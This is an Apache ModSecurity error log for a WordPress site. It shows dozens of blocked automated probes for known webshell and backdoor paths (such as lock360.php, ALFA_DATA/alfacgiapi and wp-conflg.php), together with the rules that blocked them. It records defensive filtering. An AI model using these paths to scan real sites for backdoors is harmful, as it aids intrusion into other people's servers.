[Sun May 10 08:21:33.353614 2026] [:error] [pid 46329:tid 46348] [client 85.203.23.190:27949] [client 85.203.23.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "af_PjeFo7Z2I88d0gPJPoAAAAA8"]
[Sun May 10 08:21:33.901548 2026] [:error] [pid 46417:tid 46442] [client 85.203.23.219:54275] [client 85.203.23.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/edit-wolf.php"] [unique_id "af_PjWInm7mhwgbe48ZnjwAAARc"]
[Sun May 10 08:21:34.094618 2026] [:error] [pid 46417:tid 46426] [client 85.203.23.184:22633] [client 85.203.23.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "af_PjmInm7mhwgbe48ZnkQAAAQc"]
[Sun May 10 08:21:34.277432 2026] [:error] [pid 46329:tid 46335] [client 85.203.23.216:22641] [client 85.203.23.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/system.php"] [unique_id "af_PjuFo7Z2I88d0gPJPowAAAAI"]
[Sun May 10 08:21:34.472807 2026] [:error] [pid 46329:tid 46350] [client 85.203.23.187:34601] [client 85.203.23.187] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "af_PjuFo7Z2I88d0gPJPpAAAABE"]
[Sun May 10 08:21:34.657419 2026] [:error] [pid 46417:tid 46425] [client 85.203.23.203:60523] [client 85.203.23.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "af_PjmInm7mhwgbe48ZnkgAAAQY"]
[Sun May 10 08:21:34.905942 2026] [:error] [pid 46417:tid 46430] [client 85.203.23.168:51069] [client 85.203.23.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/adminfuns.php"] [unique_id "af_PjmInm7mhwgbe48ZnkwAAAQs"]
[Sun May 10 08:21:35.097606 2026] [:error] [pid 52634:tid 52638] [client 85.203.23.172:23415] [client 85.203.23.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/app.php"] [unique_id "af_Pj9wp8XoWCwFb54CSHQAAAMA"]
[Sun May 10 08:21:35.464960 2026] [:error] [pid 46417:tid 46422] [client 85.203.23.199:36611] [client 85.203.23.199] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/files/"] [unique_id "af_Pj2Inm7mhwgbe48ZnlgAAAQM"]
[Sun May 10 08:21:35.995432 2026] [:error] [pid 46330:tid 46387] [client 85.203.23.221:24309] [client 85.203.23.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/beteng83/ws78.php"] [unique_id "af_Pj4ztrhd3evDQvs82JgAAAEs"]
[Sun May 10 08:21:36.300987 2026] [:error] [pid 52634:tid 52657] [client 85.203.23.205:38927] [client 85.203.23.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/template-singl-portfolio.php"] [unique_id "af_PkNwp8XoWCwFb54CSHgAAANM"]
[Sun May 10 08:21:36.575323 2026] [:error] [pid 46417:tid 46428] [client 85.203.23.212:48719] [client 85.203.23.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/chosen.php"] [unique_id "af_PkGInm7mhwgbe48ZnlwAAAQk"]
[Sun May 10 08:21:36.797878 2026] [:error] [pid 52634:tid 52655] [client 85.203.23.208:51173] [client 85.203.23.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ALFA_DATA/alfacgiapi/"] [unique_id "af_PkNwp8XoWCwFb54CSIAAAANE"]
[Sun May 10 08:21:41.987547 2026] [:error] [pid 46330:tid 46410] [client 85.203.23.195:61581] [client 85.203.23.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/html-api/"] [unique_id "af_PlYztrhd3evDQvs82KwAAAFY"]
[Sun May 10 08:21:42.173312 2026] [:error] [pid 46331:tid 46363] [client 85.203.23.197:42847] [client 85.203.23.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/class.php"] [unique_id "af_PlgP02hpYETwsZpgSaQAAAII"]
[Sun May 10 08:21:42.359873 2026] [:error] [pid 46331:tid 46370] [client 85.203.23.203:55253] [client 85.203.23.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/colors/"] [unique_id "af_PlgP02hpYETwsZpgSagAAAIY"]
[Sun May 10 08:21:42.600477 2026] [:error] [pid 52634:tid 52638] [client 85.203.23.215:41711] [client 85.203.23.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/group/"] [unique_id "af_Pltwp8XoWCwFb54CSKAAAAMA"]
[Sun May 10 08:21:42.859867 2026] [:error] [pid 46331:tid 46393] [client 85.203.23.185:40265] [client 85.203.23.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "af_PlgP02hpYETwsZpgSawAAAJE"]
[Sun May 10 08:21:43.057709 2026] [:error] [pid 52634:tid 52640] [client 85.203.23.201:63079] [client 85.203.23.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/module.php"] [unique_id "af_Pl9wp8XoWCwFb54CSKgAAAMI"]
[Sun May 10 08:21:43.261051 2026] [:error] [pid 52634:tid 52645] [client 85.203.23.205:38103] [client 85.203.23.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/user.php"] [unique_id "af_Pl9wp8XoWCwFb54CSKwAAAMc"]
[Sun May 10 08:21:43.504162 2026] [:error] [pid 46330:tid 46379] [client 85.203.23.171:41287] [client 85.203.23.171] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/about.php"] [unique_id "af_Pl4ztrhd3evDQvs82LAAAAEc"]
[Sun May 10 08:21:53.690415 2026] [:error] [pid 46417:tid 46433] [client 85.203.23.166:52669] [client 85.203.23.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2025/"] [unique_id "af_PoWInm7mhwgbe48ZnqAAAAQ4"]
[Sun May 10 08:21:53.870685 2026] [:error] [pid 46330:tid 46411] [client 85.203.23.217:42613] [client 85.203.23.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "af_PoYztrhd3evDQvs82NwAAAFc"]
[Sun May 10 08:21:54.075164 2026] [:error] [pid 46330:tid 46373] [client 85.203.23.204:26055] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-content/"] [unique_id "af_Pooztrhd3evDQvs82OAAAAEM"]
[Sun May 10 08:21:59.272232 2026] [:error] [pid 52634:tid 52641] [client 85.203.23.201:45579] [client 85.203.23.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/chosen.php"] [unique_id "af_Pp9wp8XoWCwFb54CSQAAAAMM"]
[Sun May 10 08:21:59.459292 2026] [:error] [pid 52634:tid 52653] [client 85.203.23.221:42759] [client 85.203.23.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "af_Pp9wp8XoWCwFb54CSQQAAAM8"]
[Sun May 10 08:21:59.700873 2026] [:error] [pid 52634:tid 52656] [client 85.203.23.191:46577] [client 85.203.23.191] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/"] [unique_id "af_Pp9wp8XoWCwFb54CSQwAAANI"]
[Sun May 10 08:21:59.895733 2026] [:error] [pid 46417:tid 46422] [client 85.203.23.218:31799] [client 85.203.23.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/lock360.php"] [unique_id "af_Pp2Inm7mhwgbe48ZnrAAAAQM"]
[Sun May 10 08:22:05.389631 2026] [:error] [pid 46331:tid 46399] [client 85.203.23.210:37199] [client 85.203.23.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "af_PrQP02hpYETwsZpgStAAAAJQ"]
[Sun May 10 08:22:05.796754 2026] [:error] [pid 46330:tid 46379] [client 85.203.23.216:43495] [client 85.203.23.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/legacy-widget/"] [unique_id "af_PrYztrhd3evDQvs82RAAAAEc"]
[Sun May 10 08:22:06.174437 2026] [:error] [pid 46329:tid 46350] [client 85.203.23.195:38695] [client 85.203.23.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/lock360.php"] [unique_id "af_PruFo7Z2I88d0gPJPrQAAABE"]
[Sun May 10 08:22:06.450279 2026] [:error] [pid 46330:tid 46376] [client 85.203.23.204:64325] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/"] [unique_id "af_Proztrhd3evDQvs82RQAAAEU"]
[Sun May 10 08:22:06.702744 2026] [:error] [pid 46417:tid 46425] [client 85.203.23.181:57003] [client 85.203.23.181] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/navigation-submenu/"] [unique_id "af_PrmInm7mhwgbe48ZnsgAAAQY"]
[Sun May 10 08:22:06.955092 2026] [:error] [pid 46329:tid 46346] [client 85.203.23.173:25437] [client 85.203.23.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/file.php"] [unique_id "af_PruFo7Z2I88d0gPJPrwAAAA0"]
[Sun May 10 08:22:07.166880 2026] [:error] [pid 46417:tid 46440] [client 85.203.23.183:57687] [client 85.203.23.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/users.php"] [unique_id "af_Pr2Inm7mhwgbe48ZnswAAARU"]
[Sun May 10 08:22:07.373547 2026] [:error] [pid 46417:tid 46441] [client 85.203.23.219:44081] [client 85.203.23.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "af_Pr2Inm7mhwgbe48ZntQAAARY"]
[Sun May 10 08:22:07.579172 2026] [:error] [pid 46417:tid 46432] [client 85.203.23.171:42723] [client 85.203.23.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/library/222.php"] [unique_id "af_Pr2Inm7mhwgbe48ZntgAAAQ0"]
[Sun May 10 08:22:07.787728 2026] [:error] [pid 46331:tid 46386] [client 85.203.23.166:35355] [client 85.203.23.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "af_PrwP02hpYETwsZpgSugAAAI0"]
[Sun May 10 08:22:07.987025 2026] [:error] [pid 46331:tid 46372] [client 85.203.23.197:62089] [client 85.203.23.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/database.php"] [unique_id "af_PrwP02hpYETwsZpgSuwAAAIc"]
[Sun May 10 08:22:08.174178 2026] [:error] [pid 46417:tid 46443] [client 85.203.23.212:45005] [client 85.203.23.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/"] [unique_id "af_PsGInm7mhwgbe48ZntwAAARg"]
[Sun May 10 08:22:08.379514 2026] [:error] [pid 46329:tid 46347] [client 85.203.23.176:61817] [client 85.203.23.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/chosen.php"] [unique_id "af_PsOFo7Z2I88d0gPJPsAAAAA4"]
[Sun May 10 08:22:08.569434 2026] [:error] [pid 46329:tid 46345] [client 85.203.23.196:33489] [client 85.203.23.196] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/network/"] [unique_id "af_PsOFo7Z2I88d0gPJPsQAAAAw"]
[Sun May 10 08:22:10.356009 2026] [:error] [pid 46330:tid 46368] [client 85.203.23.206:54069] [client 85.203.23.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/widgets/"] [unique_id "af_Psoztrhd3evDQvs82SgAAAEA"]
[Sun May 10 08:22:10.577928 2026] [:error] [pid 52634:tid 52642] [client 85.203.23.205:50729] [client 85.203.23.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/"] [unique_id "af_Pstwp8XoWCwFb54CShwAAAMQ"]
[Sun May 10 08:22:15.767389 2026] [:error] [pid 46330:tid 46379] [client 85.203.23.212:27617] [client 85.203.23.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/woocommerce/includes/import/about.php"] [unique_id "af_Pt4ztrhd3evDQvs82UQAAAEc"]
[Sun May 10 08:22:15.967334 2026] [:error] [pid 46330:tid 46376] [client 85.203.23.210:38703] [client 85.203.23.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/paragraph/"] [unique_id "af_Pt4ztrhd3evDQvs82UwAAAEU"]
[Sun May 10 08:22:16.160996 2026] [:error] [pid 46330:tid 46400] [client 85.203.23.208:44441] [client 85.203.23.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/query-pagination/"] [unique_id "af_PuIztrhd3evDQvs82VAAAAFE"]
[Sun May 10 08:22:16.358337 2026] [:error] [pid 46330:tid 46404] [client 85.203.23.202:40577] [client 85.203.23.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "af_PuIztrhd3evDQvs82VQAAAFM"]
[Sun May 10 08:22:16.577099 2026] [:error] [pid 46417:tid 46437] [client 85.203.23.177:51101] [client 85.203.23.177] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/mediaelement/"] [unique_id "af_PuGInm7mhwgbe48ZnuwAAARI"]
[Sun May 10 08:22:16.778442 2026] [:error] [pid 52634:tid 52662] [client 85.203.23.185:38833] [client 85.203.23.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentythree/"] [unique_id "af_PuNwp8XoWCwFb54CSkQAAANg"]
[Sun May 10 08:22:16.960426 2026] [:error] [pid 46417:tid 46426] [client 85.203.23.219:53271] [client 85.203.23.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/astra/assets/css/"] [unique_id "af_PuGInm7mhwgbe48ZnvgAAAQc"]
[Sun May 10 08:22:17.181157 2026] [:error] [pid 46417:tid 46430] [client 85.203.23.170:64435] [client 85.203.23.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/222.php"] [unique_id "af_PuWInm7mhwgbe48ZnvwAAAQs"]
[Sun May 10 08:22:17.365846 2026] [:error] [pid 46417:tid 46438] [client 85.203.23.172:45905] [client 85.203.23.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/"] [unique_id "af_PuWInm7mhwgbe48ZnwAAAARM"]
[Sun May 10 08:22:17.551834 2026] [:error] [pid 46417:tid 46422] [client 85.203.23.173:44495] [client 85.203.23.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php"] [unique_id "af_PuWInm7mhwgbe48ZnwgAAAQM"]
